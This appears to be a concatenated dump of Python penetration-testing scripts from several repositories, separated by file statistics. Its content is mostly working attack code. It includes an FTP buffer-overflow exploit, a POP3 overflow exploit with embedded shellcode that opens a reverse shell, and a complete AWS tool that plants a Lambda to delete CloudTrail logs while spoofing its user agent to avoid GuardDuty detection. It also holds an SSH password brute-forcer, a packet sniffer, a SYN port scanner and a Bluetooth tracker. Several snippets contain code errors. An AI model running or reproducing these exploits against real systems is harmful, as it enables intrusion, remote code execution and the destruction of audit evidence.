the following disclaimer. * Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution. * Neither the
name of the nor the names of its contributors may be used to endorse or promote
products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
'''
import sys, socket, strut
rhost = ""
lhost = ""
rport = 21
password = "badpassword@hacku.com"
username = "anonymous"
eip = struct.pack('<I',0x10028283)
offset = 228 - len(lhost)
nop = "\x90" *16
shell =() #Shellcode was not inserted to save space
exploit = offset + eip + nop + shell
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((rhost, rport))
print(client.recv(1024))
client.send("USER " + username + "\r\n")
print(client.recv(1024))
client.send("PASS "password + "\r\n")
print(client.recv(1024))
print("[*] Sending exploit")
client.send("LIST" + exploit + "\r\n")
print(client.recv(1024))
client.close()
print("[*] Sent exploit to %s on port %s") % (rhost,rport)
| 43.679245 | 120 | 0.766793 |
cybersecurity-penetration-testing | import socket
import os
import struct
import threading
from ctypes import *
# host to listen on
host = "192.168.0.187"
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4),
("version", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("offset", c_ushort),
("ttl", c_ubyte),
("protocol_num", c_ubyte),
("sum", c_ushort),
("src", c_ulong),
("dst", c_ulong)
]
def __new__(self, socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# map protocol constants to their names
self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}
# human readable IP addresses
self.src_address = socket.inet_ntoa(struct.pack("<L",self.src))
self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))
# human readable protocol
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
class ICMP(Structure):
_fields_ = [
("type", c_ubyte),
("code", c_ubyte),
("checksum", c_ushort),
("unused", c_ushort),
("next_hop_mtu", c_ushort)
]
def __new__(self, socket_buffer):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer):
pass
# create a raw socket and bind it to the public interface
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# if we're on Windows we need to send some ioctls
# to setup promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
# read in a single packet
raw_buffer = sniffer.recvfrom(65565)[0]
# create an IP header from the first 20 bytes of the buffer
ip_header = IP(raw_buffer[0:20])
print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
# if it's ICMP we want it
if ip_header.protocol == "ICMP":
# calculate where our ICMP packet starts
offset = ip_header.ihl * 4
buf = raw_buffer[offset:offset + sizeof(ICMP)]
# create our ICMP structure
icmp_header = ICMP(buf)
print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)
# handle CTRL-C
except KeyboardInterrupt:
# if we're on Windows turn off promiscuous mode
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
| 27.814159 | 107 | 0.520123 |
Python-Penetration-Testing-for-Developers | import socket
def get_protnumber(prefix):
return dict( (getattr(socket, a), a)
for a in dir(socket)
if a.startswith(prefix))
proto_fam = get_protnumber('AF_')
types = get_protnumber('SOCK_')
protocols = get_protnumber('IPPROTO_')
for res in socket.getaddrinfo('www.thapar.edu', 'http'):
family, socktype, proto, canonname, sockaddr = res
print 'Family :', proto_fam[family]
print 'Type :', types[socktype]
print 'Protocol :', protocols[proto]
print 'Canonical name:', canonname
print 'Socket address:', sockaddr
| 26.7 | 56 | 0.676311 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
string="A"*2606 + "B"*4 +"C"*90
if 1:
print"Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.250.136',110))
data=s.recv(1024)
#print str(data)
s.send('USER root\r\n')
data=s.recv(1024)
print str(data)
s.send('PASS ' + string + '\r\n')
data=s.recv(1024)
print str(data)
print "done"
#s.send('QUIT\r\n')
#s.close()
| 18.259259 | 54 | 0.576108 |
PenetrationTestingScripts | from django import forms
class ScanForm(forms.Form):
target = forms.CharField(label='target', max_length=100)
| 22.2 | 60 | 0.747826 |
cybersecurity-penetration-testing | #!/usr/bin/python3
#
# This script attempts to disrupt CloudTrail by planting a Lambda function that will delete every object created in S3 bucket
# bound to a trail. As soon as CloudTrail creates a new object in S3 bucket, Lambda will kick in and delete that object.
# No object, no logs. No logs, no Incident Response :-)
#
# One will need to pass AWS credentials to this tool. Also, the account affected should have at least following permissions:
# - `iam:CreateRole`
# - `iam:CreatePolicy`
# - `iam:AttachRolePolicy`
# - `lambda:CreateFunction`
# - `lambda:AddPermission`
# - `s3:PutBucketNotification`
#
# These are the changes to be introduced within a specified AWS account:
# - IAM role will be created, by default with name: `cloudtrail_helper_role`
# - IAM policy will be created, by default with name: `cloudtrail_helper_policy`
# - Lambda function will be created, by default with name: `cloudtrail_helper_function`
# - Put Event notification will be configured on affected CloudTrail S3 buckets.
#
# This tool will fail upon first execution with the following exception:
#
# ```
# [-] Could not create a Lambda function: An error occurred (InvalidParameterValueException) when calling the CreateFunction operation:
# The role defined for the function cannot be assumed by Lambda.
# ```
#
# At the moment I did not find an explanation for that, but running the tool again with the same set of parameters - get the job done.
#
# Afterwards, one should see following logs in CloudWatch traces for planted Lambda function - if no `--disrupt` option was specified:
#
# ```
# [*] Following S3 object could be removed: (Bucket=90112981864022885796153088027941100000000000000000000000,
# Key=cloudtrail/AWSLogs/712800000000/CloudTrail/us-west-2/2019/03/20/712800000000_CloudTrail_us-west-2_20190320T1000Z_oxxxxxxxxxxxxc.json.gz)
# ```
#
# Requirements:
# - boto3
# - pytest
#
# Author: Mariusz Banach / mgeeky '19, <mb@binary-offensive.com>
#
import io
import sys
import time
import json
import boto3
import urllib
import zipfile
import argparse
config = {
'debug' : False,
'region' : '',
'trail-name' : '',
'access-key' : '',
'secret-key' : '',
'token' : '',
'disrupt' : False,
'role-name' : '',
'policy-name' : '',
'function-name' : '',
'statement-id' : 'ID-1',
}
aws_policy_lambda_assume_role = {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
aws_policy_for_lambda_role = {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"logs:CreateLogGroup",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "arn:aws:logs:*:*:*"
},
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject",
"s3:DeleteObject",
"s3:DeleteObjectVersion"
],
"Resource": [
"arn:aws:s3:::*"
]
}
]
}
aws_s3_bucket_notification_configuration = {
"LambdaFunctionConfigurations": [
{
"LambdaFunctionArn": "<TO-BE-CREATED-LATER>",
"Id": config['statement-id'],
"Events": [
"s3:ObjectCreated:*"
]
}
]
}
disruption_lambda_code_do_harm = '''
response = s3.delete_object(Bucket=bucket, Key=key)
'''
disruption_lambda_code_no_harm = '''
print("[*] Following S3 object could be removed: (Bucket={}, Key={})".format(bucket, key))
'''
disruption_lambda_code = '''
import json
import urllib
import boto3
s3 = boto3.client('s3')
def lambda_handler(event, context):
try:
bucket = event['Records'][0]['s3']['bucket']['name']
key = urllib.unquote_plus(event['Records'][0]['s3']['object']['key']).decode('utf8')
{code}
except Exception as e:
print('S3 delete object failed: ' + str(e))
raise e
'''
class Logger:
@staticmethod
def _out(x):
sys.stdout.write(x + '\n')
@staticmethod
def out(x):
Logger._out('[>] ' + x)
@staticmethod
def info(x):
Logger._out('[.] ' + x)
@staticmethod
def fatal(x):
sys.stdout.write('[!] ' + x + '\n')
sys.exit(1)
@staticmethod
def fail(x):
Logger._out('[-] ' + x)
@staticmethod
def ok(x):
Logger._out('[+] ' + x)
@staticmethod
def dbg(x):
if config['debug']:
sys.stdout.write(f'[dbg] {x}\n')
class CloudTrailDisruptor:
session = None
def __init__(self, region, access_key, secret_key, token = ''):
self.region = region
self.access_key = access_key
self.secret_key = secret_key
self.token = token
self.session = None
self.authenticate()
def authenticate(self):
try:
self.session = None
self.session = boto3.Session(
aws_access_key_id = self.access_key,
aws_secret_access_key = self.secret_key,
aws_session_token = self.token,
region_name = self.region
)
except Exception as e:
Logger.fail(f'Could obtain AWS session: {e}')
raise e
def get_session(self):
return self.session
def get_account_id(self):
try:
return self.session.client('sts').get_caller_identity()['Account']
except Exception as e:
Logger.fatal(f'Could not Get Caller\'s identity: {e}')
def find_trails_to_disrupt(self):
cloudtrail = self.session.client('cloudtrail')
trails = cloudtrail.describe_trails()
disrupt = []
for trail in trails['trailList']:
Logger.dbg(f"Checking whether trail {trail['Name']} is logging.")
status = cloudtrail.get_trail_status(Name = trail['Name'])
if status and status['IsLogging']:
r = 'Yes' if trail['IsMultiRegionTrail'] else 'No'
Logger.ok(f"Trail {trail['Name']} is actively logging (multi region? {r}).")
disrupt.append(trail)
return disrupt
def create_role(self, role_name, role_policy, description = ''):
iam = self.session.client('iam')
policy = json.dumps(role_policy)
roles = iam.list_roles()
for role in roles['Roles']:
if role['RoleName'] == role_name:
Logger.fail(f'Role with name: {role_name} already exists.')
Logger.dbg("Returning: {}".format(str({'Role':role})))
return {'Role' : role}
Logger.info(f'Creating a role named: {role_name}')
Logger.dbg(f'Policy to be used in role creation:\n{policy}')
out = {}
try:
out = iam.create_role(
RoleName = role_name,
AssumeRolePolicyDocument = policy,
Description = description
)
except Exception as e:
Logger.fatal(f'Could not create a role for Lambda: {e}')
# Due to fatal, code will not reach this path
return False
Logger.ok(f'Role created.')
Logger.dbg(f'Returned: {out}')
return out
def create_role_policy(self, policy_name, policy_document, description = ''):
iam = self.session.client('iam')
policy = json.dumps(policy_document)
policies = iam.list_policies(Scope = 'All')
for p in policies['Policies']:
if p['PolicyName'] == policy_name:
Logger.fail(f'Policy with name: {policy_name} already exists.')
return {'Policy' : p}
Logger.info(f'Creating a policy named: {policy_name}')
Logger.dbg(f'Policy to be used in role creation:\n{policy}')
out = {}
try:
out = iam.create_policy(
PolicyName = policy_name,
PolicyDocument = policy,
Description = description
)
except Exception as e:
Logger.fatal(f'Could not create a policy for that lambda role: {e}')
# Due to fatal, code will not reach this path
return False
Logger.ok(f'Policy created.')
Logger.dbg(f'Returned: {out}')
return out
def attach_role_policy(self, role_name, policy_arn):
Logger.info(f'Attaching policy ({policy_arn}) to the role {role_name}')
iam = self.session.client('iam')
attached = iam.list_attached_role_policies(RoleName = role_name)
for policy in attached['AttachedPolicies']:
if policy['PolicyArn'] == policy_arn:
Logger.fail(f'Policy is already attached.')
return True
try:
iam.attach_role_policy(
RoleName = role_name,
PolicyArn = policy_arn
)
except Exception as e:
Logger.fatal(f'Could not create a policy for that lambda role: {e}')
# Due to fatal, code will not reach this path
return False
Logger.ok(f'Policy attached.')
return True
# Source: https://stackoverflow.com/a/51899017
@staticmethod
def create_in_mem_zip_archive(file_map, files):
buf = io.BytesIO()
Logger.dbg("Building zip file: " + str(files))
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zfh:
for file_name in files:
file_blob = file_map.get(file_name)
if file_blob is None:
Logger.fail("Missing file {} from files".format(file_name))
continue
try:
info = zipfile.ZipInfo(file_name)
info.date_time = time.localtime()
info.compress_type = zipfile.ZIP_DEFLATED
info.external_attr = 0o777 << 16 # give full access
zfh.writestr(info, file_blob)
except Exception as ex:
raise ex
Logger.fail("Error reading file: " + file_name + ", error: " + ex.message)
buf.seek(0)
return buf.read()
def create_lambda_function(self, function_name, role_name, code, description = ''):
awslambda = self.session.client('lambda')
lambdacode = CloudTrailDisruptor.create_in_mem_zip_archive(
{'lambda_function.py': code},
{'lambda_function.py'}
)
funcs = awslambda.list_functions()
for f in funcs['Functions']:
if f['FunctionName'] == function_name:
Logger.fail(f'Function with name: {function_name} already exists. Removing old one.')
awslambda.delete_function(FunctionName = function_name)
Logger.ok('Old function was removed.')
break
Logger.info(f'Creating a lambda function named: {function_name} on Role: {role_name}')
Logger.dbg(f'Lambda code to be used:\n{code}')
out = {}
try:
out = awslambda.create_function(
FunctionName = function_name,
Runtime = 'python2.7',
Role = role_name,
Handler = 'lambda_function.lambda_handler',
Code = {
'ZipFile' : lambdacode,
},
Description = description,
Timeout = 30,
Publish = True
)
Logger.ok(f'Function created.')
except Exception as e:
Logger.fail(f'Could not create a Lambda function: {e}')
if 'The role defined for the function cannot be assumed by Lambda.' in str(e):
Logger.info('====> This is a known bug (?). Running again this program should get the job done.')
Logger.dbg(f'Returned: {out}')
return out
def permit_function_invoke(self, function_name, statement_id, bucket_arn):
awslambda = self.session.client('lambda')
Logger.info(f'Adding invoke permission to func: {function_name} on S3 bucket: {bucket_arn}')
try:
out = awslambda.add_permission(
FunctionName = function_name,
Action = 'lambda:InvokeFunction',
Principal = 's3.amazonaws.com',
SourceArn = bucket_arn,
StatementId = statement_id
)
except Exception as e:
Logger.fail(f'Could not add permission to the Lambda: {e}. Continuing anyway.')
return out
def set_s3_put_notification(self, bucket, notification_configuration):
s3 = self.session.client('s3')
arn = notification_configuration['LambdaFunctionConfigurations'][0]['LambdaFunctionArn']
conf = s3.get_bucket_notification_configuration(Bucket = bucket)
if 'LambdaFunctionConfigurations' in conf.keys():
for configuration in conf['LambdaFunctionConfigurations']:
if configuration['Id'] == config['statement-id'] and arn == configuration['LambdaFunctionArn']:
Logger.fail('S3 Put notification already configured for that function on that S3 bucket.')
return True
Logger.info(f'Putting a bucket notification configuration to {bucket}, ARN: {arn}')
Logger.dbg(f'Notification used :\n{notification_configuration}')
out = {}
try:
out = s3.put_bucket_notification_configuration(
Bucket = bucket,
NotificationConfiguration = notification_configuration
)
except Exception as e:
Logger.fail(f'Could not put bucket notification configuration: {e}')
return False
return True
def parseOptions(argv):
global config
print('''
:: AWS CloudTrail disruption via S3 Put notification to Lambda
Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation
Mariusz Banach / mgeeky '19, <mb@binary-offensive.com>
''')
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <region> [trail_name]')
parser._action_groups.pop()
required = parser.add_argument_group('required arguments')
optional = parser.add_argument_group('optional arguments')
required.add_argument('region', type=str, help = 'AWS region to use.')
required.add_argument('--access-key', type=str, help = 'AWS Access Key ID')
required.add_argument('--secret-key', type=str, help = 'AWS Access Key ID')
optional.add_argument('--token', type=str, help = 'AWS temporary session token')
optional.add_argument('trail_name', type=str, default = 'all', nargs='?', help = 'CloudTrail name that you want to disrupt. If not specified, will disrupt every actively logging trail.')
optional.add_argument('--disrupt', action='store_true', default = False, help = 'By default, this tool will install Lambda that is only logging that it could remove S3 objects. By using this switch, there is going to be Lambda introduced that actually deletes objects.')
optional.add_argument('--role-name', type=str, default='cloudtrail_helper_role', help = 'name for AWS Lambda role')
optional.add_argument('--policy-name', type=str, default='cloudtrail_helper_policy', help = 'name for a policy for that Lambda role')
optional.add_argument('--function-name', type=str, default='cloudtrail_helper_function', help = 'name for AWS Lambda function')
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
args = parser.parse_args()
config['debug'] = args.debug
config['access-key'] = args.access_key
config['secret-key'] = args.secret_key
config['token'] = args.token
config['region'] = args.region
config['disrupt'] = args.disrupt
config['trail-name'] = args.trail_name
config['role-name'] = args.role_name
config['policy-name'] = args.policy_name
config['function-name'] = args.function_name
if not args.access_key or not args.secret_key:
Logger.fatal("Please provide AWS Access Key, Secret Key and optionally Session Token")
return args
def monkeyPatchBotocoreUserAgent():
'''
This is to avoid triggering GuardDuty 'PenTest:IAMUser/KaliLinux' alerts
Source:
https://www.thesubtlety.com/post/patching-boto3-useragent/
'''
import sys
import boto3
import botocore
try:
from _pytest.monkeypatch import MonkeyPatch
except (ImportError, ModuleNotFoundError) as e:
print('[!] Please install "pytest" first: pip3 install pytest')
print('\tthis will be used to patch-up boto3 library to avoid GuardDuty Kali detection')
sys.exit(0)
monkeypatch = MonkeyPatch()
def my_user_agent(self):
return "Boto3/1.9.89 Python/2.7.12 Linux/4.2.0-42-generic"
monkeypatch.setattr(botocore.session.Session, 'user_agent', my_user_agent)
def main(argv):
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
monkeyPatchBotocoreUserAgent()
dis = CloudTrailDisruptor(
config['region'],
config['access-key'],
config['secret-key'],
config['token']
)
account_id = dis.get_account_id()
Logger.info(f'Will be working on Account ID: {account_id}')
Logger.info('Step 1: Determine trail to disrupt')
trails = []
if config['trail-name'] and config['trail-name'] != 'all':
Logger.ok(f"Will use trail specified by user: {config['trail-name']}")
trail_name = config['trail-name']
ct = dis.get_session().client('cloudtrail')
t = ct.describe_trails(trailNameList=[trail_name,])
trails.append(t[0])
else:
trails.extend(dis.find_trails_to_disrupt())
Logger.info('Trails intended to be disrupted:')
for trail in trails:
Logger._out(f'\t- {trail["Name"]}')
Logger._out('')
Logger.info('Step 2: Create a role to be assumed by planted Lambda')
created_role = dis.create_role(config['role-name'], aws_policy_lambda_assume_role)
if not created_role:
Logger.fatal('Could not create a lambda role.')
Logger.info('Step 3: Create a policy for that role')
policy = dis.create_role_policy(config['policy-name'], aws_policy_for_lambda_role)
if not policy:
Logger.fatal('Could not create a policy for lambda role.')
Logger.info('Step 4: Attach policy to the role')
if not dis.attach_role_policy(config['role-name'], policy['Policy']['Arn']):
Logger.fatal('Could not attach a policy to the lambda role.')
Logger.info('Step 5: Create Lambda function')
code = ''
if config['disrupt']:
code = disruption_lambda_code.format(code = disruption_lambda_code_do_harm)
Logger.info('\tUSING DISRUPTIVE LAMBDA!')
else:
code = disruption_lambda_code.format(code = disruption_lambda_code_no_harm)
Logger.info('\tUsing non-disruptive lambda.')
if not dis.create_lambda_function(config['function-name'], created_role['Role']['Arn'], code):
Logger.fatal('Could not create a Lambda function.')
Logger.info('Step 6: Permit function to be invoked on all trails')
for trail in trails:
bucket_arn = f"arn:aws:s3:::{trail['S3BucketName']}"
dis.permit_function_invoke(config['function-name'], config['statement-id'], bucket_arn)
Logger.info('Step 7: Configure trail bucket\'s put notification')
global aws_s3_bucket_notification_configuration
regions = [config['region'], ]
for region in regions:
arn = f"arn:aws:lambda:{region}:{account_id}:function:{config['function-name']}"
aws_s3_bucket_notification_configuration['LambdaFunctionConfigurations'][0]['LambdaFunctionArn'] = arn
for trail in trails:
dis.set_s3_put_notification(
trail['S3BucketName'],
aws_s3_bucket_notification_configuration
)
print("[+] Installed CloudTrail's S3 bucket disruption Lambda.")
if __name__ == '__main__':
main(sys.argv)
| 33.827586 | 274 | 0.60404 |
cybersecurity-penetration-testing | import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import sys
from scapy.all import *
if len(sys.argv) !=4:
print "usage: %s target startport endport" % (sys.argv[0])
sys.exit(0)
target = str(sys.argv[1])
startport = int(sys.argv[2])
endport = int(sys.argv[3])
print "Scanning "+target+" for open TCP ports\n"
if startport==endport:
endport+=1
for x in range(startport,endport):
packet = IP(dst=target)/TCP(dport=x,flags="S")
response = sr1(packet,timeout=0.5,verbose=0)
if response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12:
print "Port "+str(x)+" is open!"
sr(IP(dst=target)/TCP(dport=response.sport,flags="R"),timeout=0.5, verbose=0)
print "Scan complete!\n" | 29.541667 | 81 | 0.689891 |
Hands-On-Penetration-Testing-with-Python | import struct
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buf = ""
buf += "\x99\x98\xf5\x41\x48\x9f\x2f\xfc\x9f\xf8\x48\x31\xc9"
buf += "\x48\x81\xe9\xd7\xff\xff\xff\x48\x8d\x05\xef\xff\xff"
buf += "\xff\x48\xbb\xb2\xa2\x05\x72\xca\x9c\x6b\xde\x48\x31"
buf += "\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x4e\x4a\x87"
buf += "\x72\xca\x9c\x0b\x57\x57\x93\xc5\x16\x41\xcc\x5b\x55"
buf += "\xe0\xae\x8e\x20\xde\x17\x19\xf6\xbd\x15\x4f\x54\xfb"
buf += "\x63\xc7\xe2\xd3\xde\x07\x5e\xea\x5d\xa4\xd3\xb3\x65"
buf += "\xe7\x80\x98\xcb\xe0\x8c\xa2\x29\x4f\x4e\x41\xd0\x7a"
buf += "\xa6\x51\xea\x04\xa3\x9b\x17\x32\xfe\xb3\x71\x8e\x3b"
buf += "\xd2\x7f\x51\x97\x39\x96\x8e\x73\x1c\xad\x94\x72\x73"
buf += "\x6d\x08\x73\x0d\xa4\x8b\xab\x44\xa1\x78\x8a\xf1\xe1"
buf += "\x4f\xab\x56\xfa\x8e\x2a\xee\x9d\xb8\xb8\x39\xae\x4e"
buf += "\xf9\x92\x80\x6a\x0d\x39\xa6\x8e\x73\x1a\x15\x2f\xfa"
buf += "\x96\xf9\x5e\x13\x93\xc6\x3a\x21\x52\xfd\x5a\x28\x41"
buf += "\x8e\x80\x53\xef\xca\x36\x40\xca\x9c\x03\xa9\xc1\x90"
buf += "\x5a\x26\xa2\xd0\x1c\xf8\xb5\x5d\xd0\xca\x5a\x9d\x6b"
buf += "\xde\x9b\x66\x51\x22\xa2\xb5\xeb\xb5\xb2\x5d\xd0\x22"
buf += "\x9a\xcc\x3b\x9e\xe2\xe2\x55\x1a\x20\x93\xb4\x3e\x4d"
buf += "\x77\x92\x18\xcf\xf4\xab\x76\x48\x3f\x6d\x70\xca\x99"
buf += "\xc8\x57\x54\xc8\x15\x24\x9d\xf4\xf2\x7b\xc6\xc3\xfa"
buf += "\xa7\x4f\x5c\x1f\xd2\x4d\xec\x0d\x07\x26\xf4\x9b\x6b"
buf += "\x10\xf4\xfa\xa7\xa2\xff\x06\xba\xb2\x2b\xe6\x25\x9d"
buf += "\xcb\x5a\x28\xd8\xb0\x5c\x24\x28\x61\x0d\x19\xf6\x86"
buf += "\x39\x73\xcb\x11\x2f\xfa\xa2\x64\x05\x36\x9e\xcc\x3d"
buf += "\x88\xe4\xe4\x53\x3c\x9c\xca\x38\x88\xda\xdb\xc9\x4d"
buf += "\x4c\x63\xbe\x57\x52\xec\x53\x34\x35\xac\x03\xd6\x35"
buf += "\xbf\x65\x8d\x1f\x27\x9b\x6b\x10\xf4\x6d\xd4\x5f\x21"
buf += "\xf6\x21\x67\x9e\x03\x0e\xc0\x1c\x90\x3e\xc7\xa7\xbe"
buf += "\x35\xd9\xee\x04\xb4\xb2\xf1\xfa\xa7\xca\x9c\x6b\xde"
buffer = '\x41' * 2606
try:
print "\nSending payload"
s.connect(('192.168.250.158',110))
data = s.recv(1024)
s.send('USER root' +'\r\n')
data = s.recv(1024)
print(str(data))
s.send('PASS ' + buffer + '\x8f\x35\x4a\x5f'+ buf + '\r\n')
data = s.recv(1024)
print(str(data))
s.close()
print "\nDone! see rev shell on 1433"
except:
print "Could not connect to POP3!"
| 44.215686 | 63 | 0.659436 |
cybersecurity-penetration-testing | import time
from bluetooth import *
from datetime import datetime
def findTgt(tgtName):
foundDevs = discover_devices(lookup_names=True)
for (addr, name) in foundDevs:
if tgtName == name:
print '[*] Found Target Device ' + tgtName
print '[+] With MAC Address: ' + addr
print '[+] Time is: '+str(datetime.now())
tgtName = 'TJ iPhone'
while True:
print '[-] Scanning for Bluetooth Device: ' + tgtName
findTgt(tgtName)
time.sleep(5)
| 23.9 | 57 | 0.62173 |
Nojle | ###Author: Omar Rajab
###Company: BlackHatch
import pxssh
import os
import time
os.system("clear")
print("""\033[1;31m
SSSSSSSSSSSSSSS SSSSSSSSSSSSSSS HHHHHHHHH HHHHHHHHH CCCCCCCCCCCCCRRRRRRRRRRRRRRRRR AAA CCCCCCCCCCCCCKKKKKKKKK KKKKKKKEEEEEEEEEEEEEEEEEEEEEERRRRRRRRRRRRRRRRR
SS:::::::::::::::S SS:::::::::::::::SH:::::::H H:::::::H CCC::::::::::::CR::::::::::::::::R A:::A CCC::::::::::::CK:::::::K K:::::KE::::::::::::::::::::ER::::::::::::::::R
S:::::SSSSSS::::::SS:::::SSSSSS::::::SH:::::::H H:::::::H CC:::::::::::::::CR::::::RRRRRR:::::R A:::::A CC:::::::::::::::CK:::::::K K:::::KE::::::::::::::::::::ER::::::RRRRRR:::::R
S:::::S SSSSSSSS:::::S SSSSSSSHH::::::H H::::::HHC:::::CCCCCCCC::::CRR:::::R R:::::R A:::::::A C:::::CCCCCCCC::::CK:::::::K K::::::KEE::::::EEEEEEEEE::::ERR:::::R R:::::R
S:::::S S:::::S H:::::H H:::::H C:::::C CCCCCC R::::R R:::::R A:::::::::A C:::::C CCCCCCKK::::::K K:::::KKK E:::::E EEEEEE R::::R R:::::R
S:::::S S:::::S H:::::H H:::::HC:::::C R::::R R:::::R A:::::A:::::A C:::::C K:::::K K:::::K E:::::E R::::R R:::::R
S::::SSSS S::::SSSS H::::::HHHHH::::::HC:::::C R::::RRRRRR:::::R A:::::A A:::::A C:::::C K::::::K:::::K E::::::EEEEEEEEEE R::::RRRRRR:::::R
SS::::::SSSSS SS::::::SSSSS H:::::::::::::::::HC:::::C R:::::::::::::RR A:::::A A:::::A C:::::C K:::::::::::K E:::::::::::::::E R:::::::::::::RR
SSS::::::::SS SSS::::::::SS H:::::::::::::::::HC:::::C R::::RRRRRR:::::R A:::::A A:::::A C:::::C K:::::::::::K E:::::::::::::::E R::::RRRRRR:::::R
SSSSSS::::S SSSSSS::::S H::::::HHHHH::::::HC:::::C R::::R R:::::R A:::::AAAAAAAAA:::::A C:::::C K::::::K:::::K E::::::EEEEEEEEEE R::::R R:::::R
S:::::S S:::::S H:::::H H:::::HC:::::C R::::R R:::::R A:::::::::::::::::::::AC:::::C K:::::K K:::::K E:::::E R::::R R:::::R
S:::::S S:::::S H:::::H H:::::H C:::::C CCCCCC R::::R R:::::R A:::::AAAAAAAAAAAAA:::::AC:::::C CCCCCCKK::::::K K:::::KKK E:::::E EEEEEE R::::R R:::::R
SSSSSSS S:::::SSSSSSSS S:::::SHH::::::H H::::::HHC:::::CCCCCCCC::::CRR:::::R R:::::R A:::::A A:::::AC:::::CCCCCCCC::::CK:::::::K K::::::KEE::::::EEEEEEEE:::::ERR:::::R R:::::R
S::::::SSSSSS:::::SS::::::SSSSSS:::::SH:::::::H H:::::::H CC:::::::::::::::CR::::::R R:::::R A:::::A A:::::ACC:::::::::::::::CK:::::::K K:::::KE::::::::::::::::::::ER::::::R R:::::R
S:::::::::::::::SS S:::::::::::::::SS H:::::::H H:::::::H CCC::::::::::::CR::::::R R:::::R A:::::A A:::::A CCC::::::::::::CK:::::::K K:::::KE::::::::::::::::::::ER::::::R R:::::R
SSSSSSSSSSSSSSS SSSSSSSSSSSSSSS HHHHHHHHH HHHHHHHHH CCCCCCCCCCCCCRRRRRRRR RRRRRRRAAAAAAA AAAAAAA CCCCCCCCCCCCCKKKKKKKKK KKKKKKKEEEEEEEEEEEEEEEEEEEEEERRRRRRRR RRRRRRR
""")
print("\033[1;33mA Simple SSH Bruteforce Tool")
print("\033[1;33mAuthor: Omar Rajab Security Researcher")
print("\033[1;33mEmail:omarrajab400@gmail.com")
print("\033[1;33mCompany: BlackHatch")
print("\033[1;33mVersion: 1.0")
print("\033[1;33mLicensed by: MIT")
host = raw_input("Enter IP Address:")
user = raw_input("Enter Username:")
dict1 = raw_input("Enter Dictionary File Location:")
print("\033[1;31mNOTE: PRESS CTRL+C WHEN YOU SEE PASSWORD FOUND")
def connect(host, user, dict1):
errors=0
try:
s = pxssh.pxssh()
s.login(host, user, dict1)
print('\033[1;32mPassword Found: ' + dict1+"\033[1;31m")
return s
except Exception as e:
if errors > 5:
print
"!!! Too Many Socket Timeouts"
exit(0)
elif 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
return connect(host, user, dict1)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
return connect(host, user, dict1)
return None
if host and user and dict1:
with open(dict1, 'r') as infile:
for line in infile:
password = line.strip('\r\n')
print("Testing: " + str(password))
connect(host, user, password)
| 79.9 | 212 | 0.281873 |
Effective-Python-Penetration-Testing | import wx
# Create app instance
wx.App()
screen = wx.ScreenDC()
size = screen.GetSize()
bmp = wx.EmptyBitmap(size[0], size[1])
mem = wx.MemoryDC(bmp)
mem.Blit(0, 0, size[0], size[1], screen, 0, 0)
del mem # Release bitmap
bmp.SaveFile('screenshot.png', wx.BITMAP_TYPE_PNG) | 24.090909 | 50 | 0.690909 |
